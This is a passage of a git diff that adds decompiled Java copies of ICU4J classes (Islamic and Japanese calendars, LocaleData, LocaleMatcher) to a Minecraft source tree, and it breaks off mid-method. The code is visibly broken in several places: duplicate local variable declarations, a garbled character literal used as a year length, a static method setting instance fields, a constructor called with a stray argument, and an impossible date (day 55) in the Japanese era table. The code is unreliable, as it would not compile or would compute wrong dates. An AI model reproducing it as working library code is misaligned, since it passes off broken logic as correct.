+    return trueMonthStart(12 * (realYear - 1) + realMonth);
+  }
+  
+
+
+
+
+
+
+
+
+
+  private static final long trueMonthStart(long month)
+  {
+    long start = cache.get(month);
+    
+    if (start == CalendarCache.EMPTY)
+    {
+
+      long origin = -42521587200000L + Math.floor(month * 29.530588853D) * 86400000L;
+      
+
+      double age = moonAge(origin);
+      
+      if (moonAge(origin) >= 0.0D) {
+        do
+        {
+          origin -= 86400000L;
+          age = moonAge(origin);
+        } while (age >= 0.0D);
+      }
+      else {
+        do
+        {
+          origin += 86400000L;
+          age = moonAge(origin);
+        } while (age < 0.0D);
+      }
+      
+      start = (origin - -42521587200000L) / 86400000L + 1L;
+      
+      cache.put(month, start);
+    }
+    return start;
+  }
+  
+
+
+
+
+
+
+
+
+
+  static final double moonAge(long time)
+  {
+    double age = 0.0D;
+    
+    synchronized (astro) {
+      astro.setTime(time);
+      age = astro.getMoonAge();
+    }
+    
+    age = age * 180.0D / 3.141592653589793D;
+    if (age > 180.0D) {
+      age -= 360.0D;
+    }
+    
+    return age;
+  }
+  
+
+
+
+
+
+  private static CalendarAstronomer astro = new CalendarAstronomer();
+  
+  private static CalendarCache cache = new CalendarCache();
+  
+
+
+
+
+
+
+
+  private boolean civil = true;
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected int handleGetMonthLength(int extendedYear, int month)
+  {
+    int length = 0;
+    
+    if (civil) {
+      length = 29 + (month + 1) % 2;
+      if ((month == 11) && (civilLeapYear(extendedYear))) {
+        length++;
+      }
+    } else {
+      month = 12 * (extendedYear - 1) + month;
+      length = (int)(trueMonthStart(month + 1) - trueMonthStart(month));
+    }
+    return length;
+  }
+  
+
+
+
+  protected int handleGetYearLength(int extendedYear)
+  {
+    if (civil) {
+      return 'Ţ' + (civilLeapYear(extendedYear) ? 1 : 0);
+    }
+    int month = 12 * (extendedYear - 1);
+    return (int)(trueMonthStart(month + 12) - trueMonthStart(month));
+  }
+  
+
+
+
+
+
+
+
+
+  protected int handleComputeMonthStart(int eyear, int month, boolean useMonth)
+  {
+    return (int)monthStart(eyear, month) + 1948439;
+  }
+  
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+    int year;
+    
+    if (newerField(19, 1) == 19) {
+      year = internalGet(19, 1);
+    } else {
+      year = internalGet(1, 1);
+    }
+    return year;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    long days = julianDay - 1948440;
+    int year;
+    int month; if (civil)
+    {
+      int year = (int)Math.floor((30L * days + 10646L) / 10631.0D);
+      int month = (int)Math.ceil((days - 29L - yearStart(year)) / 29.5D);
+      month = Math.min(month, 11);
+    }
+    else {
+      int months = (int)Math.floor(days / 29.530588853D);
+      
+      long monthStart = Math.floor(months * 29.530588853D - 1.0D);
+      
+      if ((days - monthStart >= 25L) && (moonAge(internalGetTimeInMillis()) > 0.0D))
+      {
+        months++;
+      }
+      
+
+
+      while ((monthStart = trueMonthStart(months)) > days)
+      {
+        months--;
+      }
+      
+      year = months / 12 + 1;
+      month = months % 12;
+    }
+    
+    int dayOfMonth = (int)(days - monthStart(year, month)) + 1;
+    
+
+    int dayOfYear = (int)(days - monthStart(year, 0) + 1L);
+    
+    internalSet(0, 0);
+    internalSet(1, year);
+    internalSet(19, year);
+    internalSet(2, month);
+    internalSet(5, dayOfMonth);
+    internalSet(6, dayOfYear);
+  }
+  
+
+
+
+  public String getType()
+  {
+    if (civil) {
+      return "islamic-civil";
+    }
+    return "islamic";
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/JapaneseCalendar.java b/src/minecraft/com/ibm/icu/util/JapaneseCalendar.java
new file mode 100644
index 0000000..ed027f8
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/JapaneseCalendar.java
@@ -0,0 +1,664 @@
+package com.ibm.icu.util;
+
+import java.util.Date;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JapaneseCalendar
+  extends GregorianCalendar
+{
+  private static final long serialVersionUID = -2977189902603704691L;
+  private static final int GREGORIAN_EPOCH = 1970;
+  
+  public JapaneseCalendar() {}
+  
+  public JapaneseCalendar(TimeZone zone)
+  {
+    super(zone);
+  }
+  
+
+
+
+
+
+  public JapaneseCalendar(Locale aLocale)
+  {
+    super(aLocale);
+  }
+  
+
+
+
+
+
+  public JapaneseCalendar(ULocale locale)
+  {
+    super(locale);
+  }
+  
+
+
+
+
+
+
+
+
+  public JapaneseCalendar(TimeZone zone, Locale aLocale)
+  {
+    super(zone, aLocale);
+  }
+  
+
+
+
+
+
+
+
+
+  public JapaneseCalendar(TimeZone zone, ULocale locale)
+  {
+    super(zone, locale);
+  }
+  
+
+
+
+
+
+
+  public JapaneseCalendar(Date date)
+  {
+    this();
+    setTime(date);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JapaneseCalendar(int era, int year, int month, int date)
+  {
+    super(year, month, date);
+    set(0, era);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JapaneseCalendar(int year, int month, int date)
+  {
+    super(year, month, date);
+    set(0, CURRENT_ERA);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JapaneseCalendar(int year, int month, int date, int hour, int minute, int second)
+  {
+    super(year, month, date, hour, minute, second);
+    set(0, CURRENT_ERA);
+  }
+  
+
+
+
+  protected int handleGetExtendedYear()
+  {
+    int year;
+    
+
+
+    int year;
+    
+
+    if ((newerField(19, 1) == 19) && (newerField(19, 0) == 19))
+    {
+      year = internalGet(19, 1970);
+    }
+    else {
+      year = internalGet(1, 1) + ERAS[(internalGet(0, CURRENT_ERA) * 3)] - 1;
+    }
+    
+
+    return year;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int getDefaultMonthInYear(int extendedYear)
+  {
+    int era = internalGet(0, CURRENT_ERA);
+    
+
+
+    if (extendedYear == ERAS[(era * 3)]) {
+      return ERAS[(era * 3 + 1)] - 1;
+    }
+    
+    return super.getDefaultMonthInYear(extendedYear);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int getDefaultDayInMonth(int extendedYear, int month)
+  {
+    int era = internalGet(0, CURRENT_ERA);
+    
+    if ((extendedYear == ERAS[(era * 3)]) && 
+      (month == ERAS[(era * 3 + 1)] - 1)) {
+      return ERAS[(era * 3 + 2)];
+    }
+    
+
+    return super.getDefaultDayInMonth(extendedYear, month);
+  }
+  
+
+
+  protected void handleComputeFields(int julianDay)
+  {
+    super.handleComputeFields(julianDay);
+    int year = internalGet(19);
+    
+    int low = 0;
+    
+
+
+
+
+    if (year > ERAS[(ERAS.length - 3)]) {
+      low = CURRENT_ERA;
+    }
+    else {
+      int high = ERAS.length / 3;
+      
+      while (low < high - 1) {
+        int i = (low + high) / 2;
+        int diff = year - ERAS[(i * 3)];
+        
+
+
+
+        if (diff == 0) {
+          diff = internalGet(2) - (ERAS[(i * 3 + 1)] - 1);
+          if (diff == 0) {
+            diff = internalGet(5) - ERAS[(i * 3 + 2)];
+          }
+        }
+        if (diff >= 0) {
+          low = i;
+        } else {
+          high = i;
+        }
+      }
+    }
+    
+
+
+
+
+    internalSet(0, low);
+    internalSet(1, year - ERAS[(low * 3)] + 1);
+  }
+  
+  private static final int[] ERAS = { 645, 6, 19, 650, 2, 15, 672, 1, 1, 686, 7, 20, 701, 3, 21, 704, 5, 10, 708, 1, 11, 715, 9, 2, 717, 11, 17, 724, 2, 4, 729, 8, 5, 749, 4, 14, 749, 7, 2, 757, 8, 18, 765, 1, 7, 767, 8, 16, 770, 10, 1, 781, 1, 1, 782, 8, 19, 806, 5, 18, 810, 9, 19, 824, 1, 5, 834, 1, 3, 848, 6, 13, 851, 4, 28, 854, 11, 30, 857, 2, 21, 859, 4, 15, 877, 4, 16, 885, 2, 21, 889, 4, 27, 898, 4, 26, 901, 7, 15, 923, 4, 11, 931, 4, 26, 938, 5, 22, 947, 4, 22, 957, 10, 27, 961, 2, 16, 964, 7, 10, 968, 8, 13, 970, 3, 25, 973, 12, 20, 976, 7, 13, 978, 11, 29, 983, 4, 15, 985, 4, 27, 987, 4, 5, 989, 8, 8, 990, 11, 7, 995, 2, 22, 999, 1, 13, 1004, 7, 20, 1012, 12, 25, 1017, 4, 23, 1021, 2, 2, 1024, 7, 13, 1028, 7, 25, 1037, 4, 21, 1040, 11, 10, 1044, 11, 24, 1046, 4, 14, 1053, 1, 11, 1058, 8, 29, 1065, 8, 2, 1069, 4, 13, 1074, 8, 23, 1077, 11, 17, 1081, 2, 10, 1084, 2, 7, 1087, 4, 7, 1094, 12, 15, 1096, 12, 17, 1097, 11, 21, 1099, 8, 28, 1104, 2, 10, 1106, 4, 9, 1108, 8, 3, 1110, 7, 13, 1113, 7, 13, 1118, 4, 3, 1120, 4, 10, 1124, 4, 3, 1126, 1, 22, 1131, 1, 29, 1132, 8, 11, 1135, 4, 27, 1141, 7, 10, 1142, 4, 28, 1144, 2, 23, 1145, 7, 22, 1151, 1, 26, 1154, 10, 28, 1156, 4, 27, 1159, 4, 20, 1160, 1, 10, 1161, 9, 4, 1163, 3, 29, 1165, 6, 5, 1166, 8, 27, 1169, 4, 8, 1171, 4, 21, 1175, 7, 28, 1177, 8, 4, 1181, 7, 14, 1182, 5, 27, 1184, 4, 16, 1185, 8, 14, 1190, 4, 11, 1199, 4, 27, 1201, 2, 13, 1204, 2, 20, 1206, 4, 27, 1207, 10, 25, 1211, 3, 9, 1213, 12, 6, 1219, 4, 12, 1222, 4, 13, 1224, 11, 20, 1225, 4, 20, 1227, 12, 10, 1229, 3, 5, 1232, 4, 2, 1233, 4, 15, 1234, 11, 5, 1235, 9, 19, 1238, 11, 23, 1239, 2, 7, 1240, 7, 16, 1243, 2, 26, 1247, 2, 28, 1249, 3, 18, 1256, 10, 5, 1257, 3, 14, 1259, 3, 26, 1260, 4, 13, 1261, 2, 20, 1264, 2, 28, 1275, 4, 25, 1278, 2, 29, 1288, 4, 28, 1293, 8, 55, 1299, 4, 25, 1302, 11, 21, 1303, 8, 5, 1306, 12, 14, 1308, 10, 9, 1311, 4, 28, 1312, 3, 20, 1317, 2, 3, 1319, 4, 28, 1321, 2, 23, 1324, 12, 9, 1326, 4, 26, 1329, 8, 29, 1331, 8, 9, 1334, 1, 29, 1336, 2, 29, 1340, 4, 28, 1346, 12, 8, 1370, 7, 24, 1372, 4, 1, 1375, 5, 27, 1379, 3, 22, 1381, 2, 10, 1384, 4, 28, 1384, 2, 27, 1387, 8, 23, 1389, 2, 9, 1390, 3, 26, 1394, 7, 5, 1428, 4, 27, 1429, 9, 5, 1441, 2, 17, 1444, 2, 5, 1449, 7, 28, 1452, 7, 25, 1455, 7, 25, 1457, 9, 28, 1460, 12, 21, 1466, 2, 28, 1467, 3, 3, 1469, 4, 28, 1487, 7, 29, 1489, 8, 21, 1492, 7, 19, 1501, 2, 29, 1504, 2, 30, 1521, 8, 23, 1528, 8, 20, 1532, 7, 29, 1555, 10, 23, 1558, 2, 28, 1570, 4, 23, 1573, 7, 28, 1592, 12, 8, 1596, 10, 27, 1615, 7, 13, 1624, 2, 30, 1644, 12, 16, 1648, 2, 15, 1652, 9, 18, 1655, 4, 13, 1658, 7, 23, 1661, 4, 25, 1673, 9, 21, 1681, 9, 29, 1684, 2, 21, 1688, 9, 30, 1704, 3, 13, 1711, 4, 25, 1716, 6, 22, 1736, 4, 28, 1741, 2, 27, 1744, 2, 21, 1748, 7, 12, 1751, 10, 27, 1764, 6, 2, 1772, 11, 16, 1781, 4, 2, 1789, 1, 25, 1801, 2, 5, 1804, 2, 11, 1818, 4, 22, 1830, 12, 10, 1844, 12, 2, 1848, 2, 28, 1854, 11, 27, 1860, 3, 18, 1861, 2, 19, 1864, 2, 20, 1865, 4, 7, 1868, 9, 8, 1912, 7, 30, 1926, 12, 25, 1989, 1, 8 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final int CURRENT_ERA = ERAS.length / 3 - 1;
+  
+
+
+
+
+  public static final int MEIJI = CURRENT_ERA - 3;
+  
+
+
+
+
+  public static final int TAISHO = CURRENT_ERA - 2;
+  
+
+
+
+
+  public static final int SHOWA = CURRENT_ERA - 1;
+  
+
+
+
+
+  public static final int HEISEI = CURRENT_ERA;
+  
+
+
+
+
+
+
+  protected int handleGetLimit(int field, int limitType)
+  {
+    switch (field) {
+    case 0: 
+      if ((limitType == 0) || (limitType == 1)) {
+        return 0;
+      }
+      return CURRENT_ERA;
+    
+    case 1: 
+      switch (limitType) {
+      case 0: 
+      case 1: 
+        return 1;
+      case 2: 
+        return 1;
+      case 3: 
+        return super.handleGetLimit(field, 3) - ERAS[(CURRENT_ERA * 3)];
+      }
+      
+      break;
+    }
+    return super.handleGetLimit(field, limitType);
+  }
+  
+
+
+
+
+  public String getType()
+  {
+    return "japanese";
+  }
+  
+
+
+
+  public int getActualMaximum(int field)
+  {
+    if (field == 1) {
+      int era = get(0);
+      if (era == CURRENT_ERA)
+      {
+        return handleGetLimit(1, 3);
+      }
+      int nextEraYear = ERAS[((era + 1) * 3)];
+      int nextEraMonth = ERAS[((era + 1) * 3 + 1)];
+      int nextEraDate = ERAS[((era + 1) * 3 + 2)];
+      
+      int maxYear = nextEraYear - ERAS[(era * 3)] + 1;
+      if ((nextEraMonth == 1) && (nextEraDate == 1))
+      {
+        maxYear--;
+      }
+      return maxYear;
+    }
+    
+    return super.getActualMaximum(field);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/LocaleData.java b/src/minecraft/com/ibm/icu/util/LocaleData.java
new file mode 100644
index 0000000..866fd2a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/LocaleData.java
@@ -0,0 +1,411 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.text.UnicodeSet;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LocaleData
+{
+  private static final String MEASUREMENT_SYSTEM = "MeasurementSystem";
+  private static final String PAPER_SIZE = "PaperSize";
+  private static final String LOCALE_DISPLAY_PATTERN = "localeDisplayPattern";
+  private static final String PATTERN = "pattern";
+  private static final String SEPARATOR = "separator";
+  private boolean noSubstitute;
+  private ICUResourceBundle bundle;
+  private ICUResourceBundle langBundle;
+  public static final int ES_STANDARD = 0;
+  public static final int ES_AUXILIARY = 1;
+  public static final int ES_INDEX = 2;
+  /**
+   * @deprecated
+   */
+  public static final int ES_CURRENCY = 3;
+  public static final int ES_PUNCTUATION = 4;
+  public static final int ES_COUNT = 5;
+  public static final int QUOTATION_START = 0;
+  public static final int QUOTATION_END = 1;
+  public static final int ALT_QUOTATION_START = 2;
+  public static final int ALT_QUOTATION_END = 3;
+  public static final int DELIMITER_COUNT = 4;
+  
+  private LocaleData() {}
+  
+  public static UnicodeSet getExemplarSet(ULocale locale, int options)
+  {
+    return getInstance(locale).getExemplarSet(options, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static UnicodeSet getExemplarSet(ULocale locale, int options, int extype)
+  {
+    return getInstance(locale).getExemplarSet(options, extype);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public UnicodeSet getExemplarSet(int options, int extype)
+  {
+    String[] exemplarSetTypes = { "ExemplarCharacters", "AuxExemplarCharacters", "ExemplarCharactersIndex", "ExemplarCharactersCurrency", "ExemplarCharactersPunctuation" };
+    
+
+
+
+
+    if (extype == 3)
+    {
+      return new UnicodeSet();
+    }
+    try
+    {
+      ICUResourceBundle stringBundle = (ICUResourceBundle)bundle.get(exemplarSetTypes[extype]);
+      
+      if ((noSubstitute) && (stringBundle.getLoadingStatus() == 2)) {
+        return null;
+      }
+      String unicodeSetPattern = stringBundle.getString();
+      if (extype == 4) {
+        try {
+          return new UnicodeSet(unicodeSetPattern, 0x1 | options);
+        } catch (IllegalArgumentException e) {
+          throw new IllegalArgumentException("Can't create exemplars for " + exemplarSetTypes[extype] + " in " + bundle.getLocale(), e);
+        }
+      }
+      return new UnicodeSet(unicodeSetPattern, 0x1 | options);
+    } catch (MissingResourceException ex) {
+      if (extype == 1)
+        return new UnicodeSet();
+      if (extype == 2) {
+        return null;
+      }
+      throw ex;
+    }
+  }
+  
+
+
+
+
+
+
+  public static final LocaleData getInstance(ULocale locale)
+  {
+    LocaleData ld = new LocaleData();
+    bundle = ((ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale));
+    langBundle = ((ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/lang", locale));
+    noSubstitute = false;
+    return ld;
+  }
+  
+
+
+
+
+
+
+  public static final LocaleData getInstance()
+  {
+    return getInstance(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+  public void setNoSubstitute(boolean setting)
+  {
+    noSubstitute = setting;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean getNoSubstitute()
+  {
+    return noSubstitute;
+  }
+  
+  private static final String[] DELIMITER_TYPES = { "quotationStart", "quotationEnd", "alternateQuotationStart", "alternateQuotationEnd" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String getDelimiter(int type)
+  {
+    ICUResourceBundle delimitersBundle = (ICUResourceBundle)bundle.get("delimiters");
+    
+    ICUResourceBundle stringBundle = delimitersBundle.getWithFallback(DELIMITER_TYPES[type]);
+    
+    if ((noSubstitute) && (stringBundle.getLoadingStatus() == 2)) {
+      return null;
+    }
+    return stringBundle.getString();
+  }
+  
+
+
+
+
+
+
+
+
+  public static final class MeasurementSystem
+  {
+    public static final MeasurementSystem SI = new MeasurementSystem(0);
+    
+
+
+
+
+    public static final MeasurementSystem US = new MeasurementSystem(1);
+    private int systemID;
+    
+    private MeasurementSystem(int id) {
+      systemID = id;
+    }
+    
+    private boolean equals(int id) {
+      return systemID == id;
+    }
+  }
+  
+
+
+
+
+
+
+  public static final MeasurementSystem getMeasurementSystem(ULocale locale)
+  {
+    UResourceBundle bundle = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+    UResourceBundle sysBundle = bundle.get("MeasurementSystem");
+    
+    int system = sysBundle.getInt();
+    if (MeasurementSystem.US.equals(system)) {
+      return MeasurementSystem.US;
+    }
+    if (MeasurementSystem.SI.equals(system)) {
+      return MeasurementSystem.SI;
+    }
+    
+
+    return null;
+  }
+  
+
+  public static final class PaperSize
+  {
+    private int height;
+    
+    private int width;
+    
+
+    private PaperSize(int h, int w)
+    {
+      height = h;
+      width = w;
+    }
+    
+
+
+
+    public int getHeight()
+    {
+      return height;
+    }
+    
+
+
+
+    public int getWidth()
+    {
+      return width;
+    }
+  }
+  
+
+
+
+
+
+
+  public static final PaperSize getPaperSize(ULocale locale)
+  {
+    UResourceBundle bundle = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", locale);
+    UResourceBundle obj = bundle.get("PaperSize");
+    int[] size = obj.getIntVector();
+    return new PaperSize(size[0], size[1], null);
+  }
+  
+
+
+
+
+  public String getLocaleDisplayPattern()
+  {
+    ICUResourceBundle locDispBundle = (ICUResourceBundle)langBundle.get("localeDisplayPattern");
+    String localeDisplayPattern = locDispBundle.getStringWithFallback("pattern");
+    return localeDisplayPattern;
+  }
+  
+
+
+
+
+  public String getLocaleSeparator()
+  {
+    ICUResourceBundle locDispBundle = (ICUResourceBundle)langBundle.get("localeDisplayPattern");
+    String localeSeparator = locDispBundle.getStringWithFallback("separator");
+    return localeSeparator;
+  }
+  
+  private static VersionInfo gCLDRVersion = null;
+  
+
+
+
+
+  public static VersionInfo getCLDRVersion()
+  {
+    if (gCLDRVersion == null)
+    {
+      UResourceBundle supplementalDataBundle = UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", "supplementalData", ICUResourceBundle.ICU_DATA_CLASS_LOADER);
+      UResourceBundle cldrVersionBundle = supplementalDataBundle.get("cldrVersion");
+      gCLDRVersion = VersionInfo.getInstance(cldrVersionBundle.getString());
+    }
+    return gCLDRVersion;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/util/LocaleMatcher.java b/src/minecraft/com/ibm/icu/util/LocaleMatcher.java
new file mode 100644
index 0000000..1020835
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/util/LocaleMatcher.java
@@ -0,0 +1,664 @@
+package com.ibm.icu.util;
+
+import com.ibm.icu.impl.Row;
+import com.ibm.icu.impl.Row.R2;
+import com.ibm.icu.impl.Row.R3;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class LocaleMatcher
+{
+  private static final boolean DEBUG = false;
+  private static final double DEFAULT_THRESHOLD = 0.5D;
+  private final ULocale defaultLanguage;
+  
+  public LocaleMatcher(LocalePriorityList languagePriorityList)
+  {
+    this(languagePriorityList, defaultWritten);
+  }
+  
+
+
+
+
+
+
+  public LocaleMatcher(String languagePriorityListString)
+  {
+    this(LocalePriorityList.add(languagePriorityListString).build());
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public LocaleMatcher(LocalePriorityList languagePriorityList, LanguageMatcherData matcherData)
+  {
+    this.matcherData = matcherData;
+    for (ULocale language : languagePriorityList) {
+      add(language, languagePriorityList.getWeight(language));
+    }
+    Iterator<ULocale> it = languagePriorityList.iterator();
+    defaultLanguage = (it.hasNext() ? (ULocale)it.next() : null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public double match(ULocale desired, ULocale desiredMax, ULocale supported, ULocale supportedMax)
+  {
+    return matcherData.match(desired, desiredMax, supported, supportedMax);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ULocale canonicalize(ULocale ulocale)
+  {
+    String lang = ulocale.getLanguage();
+    String lang2 = (String)canonicalMap.get(lang);
+    String script = ulocale.getScript();
+    String script2 = (String)canonicalMap.get(script);
+    String region = ulocale.getCountry();
+    String region2 = (String)canonicalMap.get(region);
+    if ((lang2 != null) || (script2 != null) || (region2 != null)) {
+      return new ULocale(lang2 == null ? lang : lang2, script2 == null ? script : script2, region2 == null ? region : region2);
+    }
+    
+
+
+
+    return ulocale;
+  }
+  
+
+
+
+
+
+
+  public ULocale getBestMatch(LocalePriorityList languageList)
+  {
+    double bestWeight = 0.0D;
+    ULocale bestTableMatch = null;
+    for (ULocale language : languageList) {
+      Row.R2<ULocale, Double> matchRow = getBestMatchInternal(language);
+      double weight = ((Double)matchRow.get1()).doubleValue() * languageList.getWeight(language).doubleValue();
+      if (weight > bestWeight) {
+        bestWeight = weight;
+        bestTableMatch = (ULocale)matchRow.get0();
+      }
+    }
+    if (bestWeight < 0.5D) {
+      bestTableMatch = defaultLanguage;
+    }
+    return bestTableMatch;
+  }
+  
+
+
+
+
+
+
+  public ULocale getBestMatch(String languageList)
+  {
+    return getBestMatch(LocalePriorityList.add(languageList).build());
+  }
+  
+
+
+
+
+
+
+  public ULocale getBestMatch(ULocale ulocale)
+  {
+    return (ULocale)getBestMatchInternal(ulocale).get0();
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return "{" + defaultLanguage + ", " + maximizedLanguageToWeight + "}";
+  }
+  
+
+
+
+
+
+
+
+
+  private Row.R2<ULocale, Double> getBestMatchInternal(ULocale languageCode)
+  {
+    languageCode = canonicalize(languageCode);
+    ULocale maximized = addLikelySubtags(languageCode);
+    
+
+
+    double bestWeight = 0.0D;
+    ULocale bestTableMatch = null;
+    for (ULocale tableKey : maximizedLanguageToWeight.keySet()) {
+      Row.R2<ULocale, Double> row = (Row.R2)maximizedLanguageToWeight.get(tableKey);
+      double match = match(languageCode, maximized, tableKey, (ULocale)row.get0());
+      
+
+
+      double weight = match * ((Double)row.get1()).doubleValue();
+      if (weight > bestWeight) {
+        bestWeight = weight;
+        bestTableMatch = tableKey;
+      }
+    }
+    if (bestWeight < 0.5D) {
+      bestTableMatch = defaultLanguage;
+    }
+    return Row.R2.of(bestTableMatch, Double.valueOf(bestWeight));
+  }
+  
+  private void add(ULocale language, Double weight) {
+    language = canonicalize(language);
+    Row.R2<ULocale, Double> row = Row.of(addLikelySubtags(language), weight);
+    maximizedLanguageToWeight.put(language, row);
+  }
+  
+  Map<ULocale, Row.R2<ULocale, Double>> maximizedLanguageToWeight = new LinkedHashMap();
+  
+
+
+
+
+  LanguageMatcherData matcherData;
+  
+
+
+
+
+
+  private ULocale addLikelySubtags(ULocale languageCode)
+  {
+    ULocale result = ULocale.addLikelySubtags(languageCode);
+    
+    if ((result == null) || (result.equals(languageCode))) {
+      String language = languageCode.getLanguage();
+      String script = languageCode.getScript();
+      String region = languageCode.getCountry();
+      return new ULocale((language.length() == 0 ? "und" : language) + "_" + (script.length() == 0 ? "Zzzz" : script) + "_" + (region.length() == 0 ? "ZZ" : region));
+    }
+    
+
+
+
+
+    return result;
+  }
+  
+  private static class LocalePatternMatcher
+  {
+    private String lang;
+    private String script;
+    private String region;
+    private LocaleMatcher.Level level;
+    static Pattern pattern = Pattern.compile("([a-zA-Z]{1,8}|\\*)(?:-([a-zA-Z]{4}|\\*))?(?:-([a-zA-Z]{2}|[0-9]{3}|\\*))?");
+    
+
+
+    public LocalePatternMatcher(String toMatch)
+    {
+      Matcher matcher = pattern.matcher(toMatch);
+      if (!matcher.matches()) {
+        throw new IllegalArgumentException("Bad pattern: " + toMatch);
+      }
+      lang = matcher.group(1);
+      script = matcher.group(2);
+      region = matcher.group(3);
+      level = (script != null ? LocaleMatcher.Level.script : region != null ? LocaleMatcher.Level.region : LocaleMatcher.Level.language);
+      
+      if (lang.equals("*")) {
+        lang = null;
+      }
+      if ((script != null) && (script.equals("*"))) {
+        script = null;
+      }
+      if ((region != null) && (region.equals("*"))) {
+        region = null;
+      }
+    }
+    
+    boolean matches(ULocale ulocale) {
+      if ((lang != null) && (!lang.equals(ulocale.getLanguage()))) {
+        return false;
+      }
+      if ((script != null) && (!script.equals(ulocale.getScript()))) {
+        return false;
+      }
+      if ((region != null) && (!region.equals(ulocale.getCountry()))) {
+        return false;
+      }
+      return true;
+    }
+    
+    public LocaleMatcher.Level getLevel() {
+      return level;
+    }
+    
+    public String getLanguage() {
+      return lang == null ? "*" : lang;
+    }
+    
+    public String getScript() {
+      return script == null ? "*" : script;
+    }
+    
+    public String getRegion() {
+      return region == null ? "*" : region;
+    }
+    
+    public String toString() {
+      String result = getLanguage();
+      if (level != LocaleMatcher.Level.language) {
+        result = result + "-" + getScript();
+        if (level != LocaleMatcher.Level.script) {
+          result = result + "-" + getRegion();
+        }
+      }
+      return result;
+    }
+  }
+  
+  static enum Level { language,  script,  region;
+    
+    private Level() {} }
+  private static class ScoreData implements Freezable<ScoreData> { LinkedHashSet<Row.R3<LocaleMatcher.LocalePatternMatcher, LocaleMatcher.LocalePatternMatcher, Double>> scores = new LinkedHashSet();
+    final double worst;
+    final LocaleMatcher.Level level;
+    
+    public ScoreData(LocaleMatcher.Level level) {
+      this.level = level;
+      worst = ((1 - (level == LocaleMatcher.Level.script ? 20 : level == LocaleMatcher.Level.language ? 90 : 4)) / 100.0D);
+    }
+    
+
+
+
+
+
+
+
+
+    void addDataToScores(String desired, String supported, Row.R3<LocaleMatcher.LocalePatternMatcher, LocaleMatcher.LocalePatternMatcher, Double> data)
+    {
+      scores.add(data);
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    double getScore(ULocale desiredLocale, ULocale dMax, String desiredRaw, String desiredMax, ULocale supportedLocale, ULocale sMax, String supportedRaw, String supportedMax)
+    {
+      boolean desiredChange = desiredRaw.equals(desiredMax);
+      boolean supportedChange = supportedRaw.equals(supportedMax);
+      double distance;
+      if (!desiredMax.equals(supportedMax))
+      {
+
+
+
+
+
+
+
+
+        double distance = getRawScore(dMax, sMax);
+        
+        if (desiredChange == supportedChange) {
+          distance *= 0.75D;
+        } else if (desiredChange)
+          distance *= 0.5D;
